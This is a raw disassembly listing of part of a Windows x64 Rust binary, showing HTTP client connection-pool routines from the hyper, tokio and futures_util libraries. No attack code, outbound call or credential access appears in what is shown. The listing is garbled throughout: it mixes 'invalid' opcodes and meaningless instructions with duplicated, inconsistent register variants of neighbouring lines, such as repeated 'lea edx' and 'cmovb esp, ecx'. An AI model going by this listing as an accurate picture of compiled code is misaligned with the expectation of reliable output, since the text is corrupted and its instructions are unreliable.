mov r8d, 0x90
call sub.VCRUNTIME140.dll_memcpy
movaps xmm0, xmmword [rsp + 0xa20]
movaps xmm1, xmmword [rsp + 0xa30]
movaps xmm2, xmmword [rsp + 0xa40]
movaps xmm3, xmmword [rsp + 0xa50]
movaps xmmword [rsp + 0xa80], xmm0
movaps xmmword [rsp + 0xa90], xmm1
movaps xmmword [rsp + 0xaa0], xmm2
movaps xmmword [rsp + 0xab0], xmm3
movaps xmm0, xmmword [rsp + 0xa60]
movaps xmmword [rsp + 0xac0], xmm0
mov rax, qword [rsp + 0xa70]
mov qword [rsp + 0xad0], rax
mov rcx, rbp
call fcn.140066ae0
cmp r13, 3
je 0x1400617ed
cmp r13, 4
je 0x140061967
mov r12, qword [rsp + 0xea0]
mov r14, qword [rsp + 0xea8]
lea rdx, [rsp + 0xeb0]
lea rcx, [rsp + 0x1320]
mov r8d, 0x90
call sub.VCRUNTIME140.dll_memcpy
lea rsi, [rdi + 0x729]
mov r13d, 4
jmp 0x140061324
mov rcx, qword [rsp + 0x88]
mov byte [rcx], al
mov rax, qword [rsp + 0x360]
mov qword [rax], 4
mov cl, 3
jmp 0x140061934
mov ebx, 3
mov r15, r12
cmp byte [rdi + 0x490], 2
jb 0x140061829
add byte [rax], al
add byte [rax], al
add byte [rax], al
mov rcx, rbx
mov rdx, rsi
mov r8, rsi
call fcn.140065e40
test rax, rax
je 0x140062663
mov ecx, dword [0x14017d2b4]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
mov rcx, qword [rcx + 0xe0]
mov rdx, rax
call fcn.1400eb0b0
mov eax, dword [0x14017d2b4]
add eax, 0x11ac4b
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
dec qword [rax + 0xd0]
mov ecx, 0x84
mov eax, 0xcc
lock cmpxchg qword [rsi], rcx
je 0x14006178e
mov rax, qword [rsi + 0x10]
mov rcx, rsi
call qword [rax + 0x20]
jmp 0x14006178e
ud2
mov ecx, 8
mov edx, 0x20
call fcn.140104380
lea rcx, [0x14013cdb8]
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srcclientconn.rs
mov edx, 0x28
call fcn.1401092e0
lea rcx, [0x14013cdb8]
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srcclientconn.rs
mov edx, 0x28
call fcn.1401092e0
lea rcx, [rsp + 0x408]
mov rax, qword [rsp + 0x3f0]
mov rdx, qword [rsp + 0x3f8]
mov r8, qword [rsp + 0x400]
call qword [rax + 0x10]
movaps xmm0, xmmword [rsp + 0x3f0]
movdqa xmm1, xmmword [rsp + 0x400]
movdqa xmm2, xmmword [rsp + 0x410]
movdqa xmm3, xmmword [rsp + 0x420]
movaps xmmword [rsp + 0x600], xmm0
movdqa xmmword [rsp + 0x610], xmm1
movdqa xmmword [rsp + 0x620], xmm2
movdqa xmmword [rsp + 0x630], xmm3
movdqa xmm0, xmmword [rsp + 0x430]
movdqa xmmword [rsp + 0x640], xmm0
mov rax, qword [rsp + 0x43d]
mov qword [rsp + 0x64d], rax
mov r14d, ebp
jmp 0x1400628b5
mov ecx, 1
mov edx, 1
call fcn.140104360
cmp esi, 3
ja 0x14006296f
cmp esi, 2
je 0x14006296f
mov rax, qword [rsp + 0x130]
test rax, rax
jne 0x1400629a4
mov rax, qword [rsp + 0x150]
test rax, rax
je 0x140062845
lea rcx, [rsp + 0x168]
mov rdx, qword [rsp + 0x158]
mov r8, qword [rsp + 0x160]
call qword [rax + 0x10]
movaps xmm0, xmmword [rsp + 0x3f0]
movdqa xmm1, xmmword [rsp + 0x400]
movdqa xmm2, xmmword [rsp + 0x410]
movdqa xmm3, xmmword [rsp + 0x420]
movaps xmmword [rsp + 0x600], xmm0
movdqa xmmword [rsp + 0x610], xmm1
movdqa xmmword [rsp + 0x620], xmm2
movdqa xmmword [rsp + 0x630], xmm3
movdqa xmm0, xmmword [rsp + 0x430]
movdqa xmmword [rsp + 0x640], xmm0
mov rax, qword [rsp + 0x43d]
mov qword [rsp + 0x64d], rax
mov r13b, 2
jmp 0x1400628b5
mov r13b, 3
mov byte [rsp + 0x120], r13b
mov byte [rsp + 0x121], r14b
lea rax, [0x140129010]
mov qword [rsp + 0x20], rax
lea rcx, str.domain_is_valid_Uri
lea r9, [0x1401275c8]
lea r8, [rsp + 0x120]
mov edx, 0x13
call fcn.1401049b0
lea rcx, str.cannot_poll_Select_twiceC:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_futures_util_0.3.30_src_future_select.rs
lea r8, [0x14013f118]
mov edx, 0x18
call fcn.140104a60
lea rcx, str.not_dropped
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srcclientpool.rs
mov edx, 0xb
call fcn.140104a60
lea rcx, str.internal_error:_entered_unreachable_code_rustc_88c2f4f5f50ace5ddc7655ea311435104d3659bdlibrary_std_src_threadmod.rs
lea r8, [0x14013f130]
mov edx, 0x28
call fcn.1401046f0
lea rcx, str.Ready_polled_after_completionC:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_futures_util_0.3.30_src_future_ready.rs
lea r8, [0x14013ee10]
mov edx, 0x1d
call fcn.140104a60
mov ecx, 8
mov edx, 0x140
call fcn.140104380
mov ecx, 8
mov edx, 0x38
call fcn.140104380
lea rcx, [rbx + 0x18]
mov rax, qword [rbx]
mov rdx, qword [rbx + 8]
mov r8, qword [rbx + 0x10]
call qword [rax + 0x10]
mov rcx, qword [0x14017d208]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rsp + 0x130]
test rax, rax
je 0x14006281d
lea rcx, [rsp + 0x148]
mov rdx, qword [rsp + 0x138]
mov r8, qword [rsp + 0x140]
call qword [rax + 0x10]
mov rax, qword [rsp + 0x150]
test rax, rax
jne 0x14006282a
jmp 0x140062845
mov ecx, 8
mov edx, 0x1b8
call fcn.140104380
lea rcx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtimecontextcurrent.rs
call fcn.140104950
mov ecx, 0x80
mov edx, 0x280
call fcn.140104380
mov rax, qword [rsp + 0x120]
lea rcx, [rax - 9]
cmp rcx, 2
jb 0x140062d7a
mov qword [rsp + 0xb8], rcx
movdqu xmm2, xmmword [rbx + r11]
movdqa xmm3, xmm2
pcmpeqb xmm3, xmm0
pmovmskb esi, xmm3
test esi, esi
jne 0x140063d80
pcmpeqb xmm2, xmm1
pmovmskb r10d, xmm2
test r10d, r10d
mov rcx, qword [rsp + 0xb8]
jne 0x140064599
add r11, rcx
add r11, 0x10
add rcx, 0x10
and r11, rdi
jmp 0x140063d0e
cmp eax, 1
je 0x140063e20
test eax, eax
je 0x1400649c9
ror byte [rdi], 0x84
pop rax
or al, 0
add byte [rbp - 0x11de008b], cl
lea esi, [rbp - 1]
and esi, ebp
test si, si
mov rdi, qword [rsp + 0x40]
je 0x140063d2c
mov ebp, esi
tzcnt r10d, ebp
add r10, r11
and r10, rdi
neg r10
lea r10, [r10 + r10*4]
shl r10, 4
lea r13, [rbx + r10]
movzx r10d, byte [rbx + r10 - 0x50]
cmp r10d, 1
je 0x140063d60
cmp r10d, 2
jne 0x1400649c9
cmp eax, 2
jne 0x140063d69
mov r10, qword [r13 - 0x48]
mov rsi, qword [r10 + 0x10]
mov rcx, qword [rsp + 0x38]
cmp rsi, qword [rcx + 0x10]
jne 0x140063d71
mov r14, qword [r10 + 8]
mov rcx, qword [rsp + 0x38]
mov rdi, qword [rcx + 8]
xor r10d, r10d
nop word [rax + rax]
cmp rsi, r10
je 0x140063e3e
movzx r12d, byte [r14 + r10]
movzx r15d, byte [rdi + r10]
inc r10
lea edx, [r12 - 0x41]
lea edx, [rsp - 0x41]
lea edx, [rsp - 0x41]
cmp dl, 0x1a
setb dl
shl dl, 5
lea ecx, [r15 - 0x41]
cmp cl, 0x1a
setb cl
shl cl, 5
or dl, r12b
or cl, r15b
cmp dl, cl
je 0x140063de0
jmp 0x140063d71
cmp byte [r13 - 0x4f], 0
je 0x140063e33
cmp byte [rsp + 0x48], 0
jne 0x140063e3e
jmp 0x140063d71
cmp byte [rsp + 0x48], 0
jne 0x140063d71
cmp qword [r13 - 0x30], r9
jne 0x140063d71
sub edi, edi
invalid
invalid
sub edi, edi
invalid
mov rsi, qword [r13 - 0x38]
xor r10d, r10d
nop
cmp r9, r10
je 0x140063e91
movzx ecx, byte [rsi + r10]
movzx edx, byte [r8 + r10]
inc r10
lea edi, [rcx - 0x41]
cmp dil, 0x1a
setb dil
shl dil, 5
lea r14d, [rdx - 0x41]
cmp r14b, 0x1a
setb r14b
shl r14b, 5
or dil, cl
or r14b, dl
cmp dil, r14b
je 0x140063e50
jmp 0x140063d71
movdqu xmm0, xmmword [rsp + 0x50]
movdqu xmm1, xmmword [rsp + 0x60]
movdqu xmm2, xmmword [rsp + 0x70]
movdqa xmmword [rsp + 0x1e0], xmm2
movdqa xmmword [rsp + 0x1d0], xmm1
movdqa xmmword [rsp + 0x1c0], xmm0
movdqa xmmword [rsp + 0x50], xmm0
movdqa xmmword [rsp + 0x70], xmm2
movdqa xmmword [rsp + 0x60], xmm1
mov qword [rsp + 0x80], r13
mov rax, qword [rsp + 0x1f0]
mov qword [rsp + 0x88], rax
movzx eax, byte [rsp + 0x50]
push rax
push rax
cmp al, 3
mov r14, qword [rsp + 0xd8]
je 0x140063f41
cmp al, 2
jb 0x140063f2a
mov r12, qword [rsp + 0x58]
lea rcx, [r12 + 0x18]
mov rax, qword [r12]
mov rdx, qword [r12 + 8]
mov r8, qword [r12 + 0x10]
call qword [rax + 0x10]
mov rcx, qword [0x14017d208]
xor edx, edx
mov r8, r12
call qword [sym.imp.kernel32.dll_HeapFree]
lea rcx, [rsp + 0x78]
mov rax, qword [rsp + 0x60]
mov rdx, qword [rsp + 0x68]
mov r8, qword [rsp + 0x70]
call qword [rax + 0x10]
mov rcx, qword [r13 - 0x20]
mov rax, qword [r13 - 8]
cmp rax, rcx
jne 0x140063f5f
lea rcx, [r13 - 0x20]
call fcn.140046c70
mov rcx, qword [r13 - 0x20]
mov rax, qword [r13 - 8]
mov rdx, qword [r13 - 0x10]
add rdx, rax
xor r8d, r8d
cmp rdx, rcx
cmovae r8, rcx
sub rdx, r8
mov rcx, qword [r13 - 0x18]
mov qword [rcx + rdx*8], r14
inc rax
mov qword [r13 - 8], rax
movzx eax, byte [r14 + 0x80]
test al, al
mov r12, qword [rsp + 0x1b8]
mov r13, qword [rsp + 0x120]
jne 0x14006424e
mov rax, qword [rsp + 0x1f8]
mov rax, qword [rax]
mov rdx, qword [rax]
mov rcx, qword [rax + 8]
call qword [rdx]
mov cl, 1
xchg byte [r14 + 0x60], cl
test cl, cl
je 0x140064217
mov rcx, rdx
call qword [rax + 0x18]
jmp 0x14006424e
mov r8, qword [r14 + 0x50]
test r8, r8
je 0x140064234
mov rcx, qword [r14 + 0x58]
mov rsi, rax
mov rdi, rdx
call qword [r8 + 0x18]
mov rdx, rdi
mov rax, rsi
mov qword [r14 + 0x50], rax
mov qword [r14 + 0x58], rdx
xor eax, eax
xchg byte [r14 + 0x60], al
movzx eax, byte [r14 + 0x80]
test al, al
je 0x1400642cd
mov al, 1
xchg byte [r14 + 0x48], al
test al, al
jne 0x140064a07
movzx eax, byte [r14 + 0x41]
mov byte [r14 + 0x41], 2
cmp al, 2
je 0x140064a01
mov rcx, r14
add rcx, 0x10
movzx edx, byte [rcx + 0x30]
mov byte [rsp + 0x80], dl
movdqu xmm0, xmmword [rcx]
movdqu xmm1, xmmword [rcx + 0x10]
movdqu xmm2, xmmword [rcx + 0x20]
movdqa xmmword [rsp + 0x70], xmm2
movdqa xmmword [rsp + 0x60], xmm1
movdqa xmmword [rsp + 0x50], xmm0
mov byte [rsp + 0x81], al
mov ecx, dword [r14 + 0x42]
mov dword [rsp + 0x82], ecx
movzx ecx, word [r14 + 0x46]
mov word [rsp + 0x86], cx
xor ecx, ecx
xchg byte [r14 + 0x48], cl
cmp al, 3
jne 0x140064a0f
mov rbx, qword [r13 + 0x38]
test rbx, rbx
je 0x14006433c
mov sil, 1
mov al, 1
xchg byte [rbx + 0x80], al
mov al, 1
xchg byte [rbx + 0x60], al
test al, al
jne 0x140064307
mov rax, qword [rbx + 0x50]
mov rcx, qword [rbx + 0x58]
mov qword [rbx + 0x50], 0
xor edx, edx
xchg byte [rbx + 0x60], dl
test rax, rax
je 0x140064307
call qword [rax + 0x18]
xchg byte [rbx + 0x78], sil
test sil, sil
jne 0x14006432d
mov rax, qword [rbx + 0x68]
mov rcx, qword [rbx + 0x70]
mov qword [rbx + 0x68], 0
xor edx, edx
xchg byte [rbx + 0x78], dl
test rax, rax
je 0x14006432d
call qword [rax + 8]
lock dec qword [rbx]
jne 0x14006433c
mov rcx, qword [r13 + 0x38]
call fcn.1400672e0
mov qword [r13 + 0x38], r14
cmp dword [rsp + 0x178], 0x3b9aca00
sete al
mov rsi, qword [rsp + 0x30]
mov edi, dword [rsp + 0xd0]
mov rcx, qword [rsp + 0x110]
mov qword [rsp + 0x230], rcx
movdqa xmm0, xmmword [rsp + 0xe0]
movdqa xmm1, xmmword [rsp + 0xf0]
movdqa xmm2, xmmword [rsp + 0x100]
movdqa xmmword [rsp + 0x220], xmm2
movdqa xmmword [rsp + 0x210], xmm1
movdqa xmmword [rsp + 0x200], xmm0
mov ecx, dword [rsp + 0x12c]
or cl, al
jne 0x1400643bb
lea rcx, [rsp + 0x138]
call fcn.140067350
mov dil, 1
cmp byte [rsp + 0xc4], 0
jne 0x1400643d8
mov rax, qword [0x14017d2a8]
shl rax, 1
test rax, rax
jne 0x140064523
xor eax, eax
mov rcx, qword [rsp + 0x1b0]
xchg byte [rcx], al
cmp al, 2
jne 0x1400643ee
call qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_WakeByAddressSingle]
test dil, dil
je 0x140064486
mov byte [rsp + 0x1a8], 2
cmp qword [r13 + 0x30], 0
je 0x140064420
mov byte [r12 + 0x70], 3
add rsp, 0x2f8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
movzx eax, byte [0x14017d2b0]
mov edx, 0x38
xor ecx, ecx
call fcn.1400e0010
test rax, rax
je 0x1400649e1
mov rdi, rax
mov qword [rax], 0
mov byte [rax + 0x29], 2
mov byte [rax + 0x30], 4
lea rdx, str.pool_is_disabledC:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srccommonlazy.rs
mov r8d, 0x10
mov rcx, rax
call fcn.140066470
mov qword [r12], rdi
cmp byte [rsp + 0x1a8], 2
mov byte [r12 + 0x70], 2
je 0x14006440c
lea rcx, [rsp + 0x138]
call fcn.140065440
jmp 0x14006440c
mov rdx, qword [r13 + 0x30]
lea rcx, [rsp + 0x138]
lea r9, [rsp + 0x200]
mov r8, r13
call fcn.1400ba450
cmp byte [rsp + 0x1a8], 2
je 0x1400643ff
mov rax, qword [rsp + 0x1a8]
mov qword [r12 + 0x70], rax
movups xmm0, xmmword [rsp + 0x198]
movups xmmword [r12 + 0x60], xmm0
movups xmm0, xmmword [rsp + 0x188]
movups xmmword [r12 + 0x50], xmm0
movups xmm0, xmmword [rsp + 0x178]
movups xmmword [r12 + 0x40], xmm0
movups xmm0, xmmword [rsp + 0x138]
movups xmm1, xmmword [rsp + 0x148]
movups xmm2, xmmword [rsp + 0x158]
movups xmm3, xmmword [rsp + 0x168]
movups xmmword [r12 + 0x30], xmm3
movups xmmword [r12 + 0x20], xmm2
movups xmmword [r12 + 0x10], xmm1
movups xmmword [r12], xmm0
jmp 0x14006440c
call fcn.14010c880
test al, al
jne 0x1400643d8
mov byte [rsi + 0x11], 1
jmp 0x1400643d8
mov rsi, qword [rsp + 0x30]
cmp qword [rsi + 0x98], 0
mov r14, qword [rsp + 0xd8]
mov rcx, qword [rsp + 0x240]
je 0x140064997
movups xmm0, xmmword [rsp + 0x50]
movdqu xmm1, xmmword [rsp + 0x60]
movdqu xmm2, xmmword [rsp + 0x70]
movdqa xmmword [rsp + 0x1e0], xmm2
movdqa xmmword [rsp + 0x1d0], xmm1
movaps xmmword [rsp + 0x1c0], xmm0
movdqu xmm0, xmmword [rbx + rcx]
pmovmskb r8d, xmm0
test r8d, r8d
jne 0x140064615
mov r9d, 0x10
add rcx, r9
and rcx, rdi
movdqu xmm0, xmmword [rbx + rcx]
pmovmskb r8d, xmm0
add r9, 0x10
test r8d, r8d
je 0x1400645fc
tzcnt r8d, r8d
add r8, rcx
and r8, rdi
movzx edx, byte [rbx + r8]
test dl, dl
js 0x14006463b
movdqa xmm0, xmmword [rbx]
pmovmskb ecx, xmm0
tzcnt r8d, ecx
movzx edx, byte [rbx + r8]
lea rcx, [r8 - 0x10]
and rcx, rdi
mov r9, qword [rsp + 0x248]
mov byte [rbx + r8], r9b
mov byte [rbx + rcx + 0x10], r9b
neg r8
lea rcx, [r8 + r8*4]
shl rcx, 4
lea r13, [rbx + rcx]
and dl, 1
movzx edx, dl
sub qword [rsi + 0x98], rdx
movdqa xmm0, xmmword [rsp + 0x1c0]
movdqa xmm1, xmmword [rsp + 0x1d0]
movdqa xmm2, xmmword [rsp + 0x1e0]
movdqu xmmword [rbx + rcx - 0x30], xmm2
movdqu xmmword [rbx + rcx - 0x40], xmm1
movdqu xmmword [rbx + rcx - 0x50], xmm0
mov qword [rbx + rcx - 0x20], 0
mov qword [rbx + rcx - 0x18], 8
pxor xmm0, xmm0
movdqu xmmword [rbx + rcx - 0x10], xmm0
inc qword [rsi + 0xa0]
mov rcx, qword [r13 - 0x20]
mov rax, qword [r13 - 8]
cmp rax, rcx
je 0x140063f4e
jmp 0x140063f5f
lea rdx, [rsi + 0xa8]
mov rcx, qword [rsp + 0x1f0]
call fcn.14010acf0
mov rbx, qword [rsi + 0x88]
mov rdi, qword [rsi + 0x90]
mov rcx, qword [rsp + 0x238]
and rcx, rdi
jmp 0x1400645bc
lea rcx, str.internal_error:_entered_unreachable_code_rustc_88c2f4f5f50ace5ddc7655ea311435104d3659bdlibrary_std_src_threadmod.rs
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.12_srcuri_scheme.rs_f
mov edx, 0x28
call fcn.1401046f0
mov ecx, 8
mov edx, 0x38
call fcn.140104380
ud2
xor eax, eax
xchg byte [r14 + 0x48], al
mov byte [rsp + 0x81], 2
lea rcx, [rsp + 0x50]
call fcn.1400ba580
lea rcx, str.assertion_failed:_Pin::new_mut_rx_.poll_cx_.is_pending__
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srcclientpool.rs
mov edx, 0x39
call fcn.1401046f0
mov ecx, 8
mov edx, 0x20
call fcn.140104380
int3
mov rax, qword [rdx + 0x10]
mov rcx, rdx
call qword [rax + 0x30]
mov rax, 0xffffffffffffffc0
lock xadd qword [rsi], rax
cmp rax, 0x3f
jbe 0x140065fb1
and rax, 0xffffffffffffffc0
cmp rax, 0x40
jne 0x140065eec
mov rax, qword [rsi + 0x10]
mov rcx, rsi
call qword [rax + 0x10]
xor esi, esi
jmp 0x140065f6f
mov rax, rsi
add rsp, 0x80
pop rbx
pop rdi
pop rsi
pop r14
pop r15
ret
mov rdi, rdx
call fcn.140107330
mov rdx, rdi
jmp 0x140065eb8
add bl, ch
mov esi, 0xb80d8d48
invalid
lea rcx, str.assertion_failed:_prev.ref_count_____1
lea r8, [0x14014ad98]
mov edx, 0x27
add byte [rax], al
add byte [rax], al
call fcn.1401046f0
mov qword [rsp + 0x50], 0
lea rdx, [rsp + 0x38]
lea r9, [0x14013d8f8]
lea rcx, [rsp + 0x40]
lea r8, [rsp + 0x50]
push rax
push rax
call fcn.140109de0
mov qword [rsp + 0x50], 0
add rcx, 8
lea rdx, [rsp + 0x48]
lea edx, [rsp + 0x48]
lea edx, [rsp + 0x48]
lea r8, [rsp + 0x50]
call fcn.140109e20
int3
int3
xchg dword [rbp + 0x48000001], edx
mov esi, ecx
xchg ebp, eax
add dword [rax], eax
add byte [rax - 0x77], cl
invalid
lea rcx, [0x140174634]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
invalid
jmp rax
enter 0xffffffffffffe0ff, 0xffffffffffffff80
add dh, byte ds:[rdx + 0x28]
cmp byte [rsi], 2
jb 0x140066067
mov rdi, qword [rsi + 8]
lea rcx, [rdi + 0x18]
mov rax, qword [rdi]
mov rdx, qword [rdi + 8]
mov edx, dword [rdi + 8]
mov edx, dword [rdi + 8]
mov r8, qword [rdi + 0x10]
call qword [rax + 0x10]
mov rcx, qword [0x14017d208]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rsi + 0x10]
mov rdx, qword [rsi + 0x18]
mov rax, qword [rax + 0x10]
mov r8, qword [rsi + 0x20]
mov eax, dword [rsi + 0x20]
mov eax, dword [rsi + 0x20]
add rsi, 0x28
mov rcx, rsi
add rsp, 0x28
pop rdi
pop rsi
jmp rax
mov rax, qword [rsi + 0x2b0]
mov eax, dword [rsi + 0x2b0]
lea rdx, [rax - 6]
cmp rdx, 3
mov ecx, 1
cmovb rcx, rdx
cmovb ecx, edx
cmovb ecx, edx
cmp rcx, 1
je 0x14006612e
test rcx, rcx
leave
jne 0x140066197
lea rcx, [rsi + 0x2b8]
call fcn.140065060
jmp 0x140066197
cmp dword [rsi + 0x2e8], 9
je 0x1400661b3
lea rcx, [rsi + 0x2a8]
call fcn.1400657a0
mov rax, qword [rsi + 0x2e8]
lea rdx, [rax - 6]
cmp rdx, 3
mov ecx, 1
cmovb rcx, rdx
cmp rcx, 1
je 0x140066160
test rcx, rcx
leave
jne 0x1400661b3
lea rcx, [rsi + 0x2f0]
call fcn.140065060
jmp 0x1400661b3
lea rcx, [rsi + 0x2b0]
call fcn.1400657a0
xor dh, 0xff
inc esi
xchg byte [rdx + rax - 0x41000000], ah
movsd dword [rdi], dword [rsi]
add al, byte [rax]
add bl, ch
invalid
xor dh, 0xff
inc esi
xchg byte [rdx + rax - 0x41000000], ah
movsd dword [rdi], dword [rsi]
add al, byte [rax]
add bl, ch
jne 0x1400660b2
cmp eax, 5
jne 0x140066152
clc
add eax, 0x8d481f75
invalid
lea rcx, [rsi + 0x2b8]
movzx eax, byte [rsi + 0x328]
cmp eax, 2
je 0x140066192
cmp eax, 3
je 0x140066197
call fcn.140065440
jmp 0x140066197
lea rcx, [rsi + 0x2b0]
call fcn.1400651b0
jmp 0x140066197
cmp eax, 5
jne 0x140066184
lea rcx, [rsi + 0x2f0]
movzx eax, byte [rsi + 0x360]
cmp eax, 2
je 0x1400661c3
cmp eax, 3
je 0x1400661b3
call fcn.140065440
jmp 0x1400661b3
lea rcx, [rsi + 0x2e8]
call fcn.1400651b0
jmp 0x1400661b3
call fcn.1400366b0
mov byte [rsi + 0x2a2], 0
mov edi, 0x2a3
lea rcx, [rsi + 0x2a8]
lea ecx, [rsi + 0x2a8]
call fcn.1400366b0
mov byte [rsi + rdi], 0
mov word [rsi + 0x2a6], 0
add rsp, 0x28
pop rdi
pop rsi
ret
call fcn.1400366b0
jmp 0x1400661b3
and al, 0x28
add eax, 0x116dfc
mov edx, 0x18
xor ecx, ecx
call fcn.1400e0010
test rax, rax
je 0x140066531
mov rdi, rax
mov qword [rax], rbx
mov qword [rax + 8], r14
mov qword [rax + 0x10], rbx
mov rbx, qword [rsi]
test rbx, rbx
je 0x140066509
mov r14, qword [rsi + 8]
mov rcx, rbx
call qword [r14]
cmp qword [r14 + 8], 0
cmp dword [rsi + 8], 0
cmp dword [rsi + 8], 0
je 0x140066509
cmp qword [r14 + 0x10], 0x11
jb 0x1400664f7
mov rbx, qword [rbx - 8]
mov ebx, dword [rbx - 8]
clc
mov rcx, qword [0x14017d208]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
mov qword [rsi], rdi
lea rax, [0x14013a130]
mov qword [rsi + 8], rax
mov rax, rsi
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r14
ret
mov ecx, 8
mov edx, 0x18
call fcn.140104380
int3
add eax, dword [rax]
add byte [rcx - 0x3f], al
call 0x1086fa686
adc byte [rdi], ah
add byte [rax], al
sub eax, ecx
movzx ecx, ax
imul ecx, ecx, 0x147b
shr ecx, 0x13
imul r9d, ecx, 0x64
sub eax, r9d
movzx eax, ax
lea r9, str.00010203040506070809101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899_l
movzx ecx, word [r9 + rcx*2]
mov word [rsp + 0x54], cx
movzx eax, word [r9 + rax*2]
mov word [rsp + 0x56], ax
mov ecx, 0x23
mov eax, r8d
jmp 0x1400665f7
or al, 0x30
mov byte [rsp + rcx + 0x30], al
dec rcx
jmp 0x14006661a
lea rax, [rsp + rcx]
add rax, 0x31
mov r8d, 0x27
sub r8, rcx
mov qword [rsp + 0x28], r8
mov qword [rsp + 0x20], rax
lea r8, [0x14016f768]
mov rcx, rdx
mov dl, 1
xor r9d, r9d
call fcn.140012db0
nop
add rsp, 0x58
ret
xchg byte [rsi + 0x38], bl
test bl, bl
je 0x14006701c
lock dec qword [rsi]
jne 0x140066fb9
mov rcx, qword [r13 + 0xc0]
call fcn.140035430
mov rax, qword [r13 + 0x18]
test rax, rax
je 0x140066fd5
lock dec qword [rax]
jne 0x140066fd5
mov rcx, qword [r13 + 0x18]
mov rdx, qword [r13 + 0x20]
call fcn.1400049d0
mov rax, qword [rsp + 0x30]
mov r8, qword [rax]
cmp r8, 0xffffffffffffffff
je 0x14006700a
lock dec qword [r8 + 8]
jne 0x14006700a
mov rcx, qword [0x14017d208]
xor edx, edx
add rsp, 0x38
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
jmp qword [sym.imp.kernel32.dll_HeapFree]
nop
add rsp, 0x38
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov rax, qword [rsi + 0x28]
mov rcx, qword [rsi + 0x30]
mov qword [rsi + 0x28], 0
test rax, rax
je 0x140067034
call qword [rax + 0x18]
xor eax, eax
xchg byte [rsi + 0x38], al
lock dec qword [rsi]
je 0x140066fad
jmp 0x140066fb9
sub byte [rcx - 0x77], cl
iretd
mov r15, rcx
sub r15, rax
lea r12, [rax + r14]
cmp r15, r14
cmovb r12, rcx
cmovb esp, ecx
cmovb esp, ecx
loope 0x14006718d
mov rbx, r14
mov ebx, esi
sub rbx, r15
cmovb rbx, rdx
fimul dword [rcx + 0x29]
invalid
jne 0x14006722a
fimul dword [rcx + 0x29]
invalid
cmp r15, r14
mov r15, qword [rsp + 0x20]
jae 0x1400671ee
xor r14d, r14d
jmp 0x140067178
inc r14
cmp rbx, r14
je 0x1400671ee
mov rsi, qword [rdi + r14*8]
mov al, 1
xchg byte [rsi + 0x80], al
mov al, 1
xchg byte [rsi + 0x60], al
test al, al
jne 0x1400671ad
mov rax, qword [rsi + 0x50]
mov rcx, qword [rsi + 0x58]
mov qword [rsi + 0x50], 0
mov edx, 0
xchg byte [rsi + 0x60], dl
test rax, rax
je 0x1400671ad
call qword [rax + 8]
mov al, 1
xchg byte [rsi + 0x78], al
test al, al
je 0x1400671c0
lock dec qword [rsi]
jne 0x140067170
jmp 0x1400671e3
mov rax, qword [rsi + 0x68]
mov rcx, qword [rsi + 0x70]
push 0x704e8b48
mov qword [rsi + 0x68], 0
test rax, rax
je 0x1400671d8
call qword [rax + 0x18]
xor eax, eax
xchg byte [rsi + 0x78], al
lock dec qword [rsi]
jne 0x140067170
mov rcx, qword [rdi + r14*8]
call fcn.1400672e0
jmp 0x140067170
cmp qword [r15], 0
je 0x140067218
mov r8, qword [r15 + 8]
mov rcx, qword [0x14017d208]
xor edx, edx
add rsp, 0x28
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
jmp qword [sym.imp.kernel32.dll_HeapFree]
nop
add rsp, 0x28
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lea r13, [rdi + rax*8]
xor ebp, ebp
jmp 0x14006724c
inc rbp
cmp r12, rbp
je 0x140067153
mov rsi, qword [r13 + rbp*8]
mov al, 1
xchg byte [rsi + 0x80], al
mov al, 1
xchg byte [rsi + 0x60], al
test al, al
jne 0x140067282
mov rax, qword [rsi + 0x50]
mov rcx, qword [rsi + 0x58]
mov qword [rsi + 0x50], 0
mov edx, 0
xchg byte [rsi + 0x60], dl
test rax, rax
je 0x140067282
call qword [rax + 8]
mov al, 1
xchg byte [rsi + 0x78], al
test al, al
je 0x1400672a0
lock dec qword [rsi]
jne 0x140067240
jmp 0x1400672c7
mov rax, qword [rsi + 0x68]
mov rcx, qword [rsi + 0x70]
mov qword [rsi + 0x68], 0
test rax, rax
je 0x1400672b8
call qword [rax + 0x18]
xor eax, eax
xchg byte [rsi + 0x78], al
lock dec qword [rsi]
jne 0x140067240
mov rcx, qword [r13 + rbp*8]
call fcn.1400672e0
jmp 0x140067240
loopne 0x140067d30
test eax, eax
add byte [rax - 0x75], cl
add eax, 0x11556c
invalid
mov edx, dword [rsi + 0x10]
invalid
invalid
add byte [rax], al
add byte [rax - 0x7b], cl
sal byte [rbx + rax - 1], 0x50
or al, dh
dec qword [rdi]
add byte ss:[rax], al
add al, ch
push rdi
or eax, 0x8d48000a
or eax, 0xd4930
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srcclientpool.rs
mov edx, 0xb
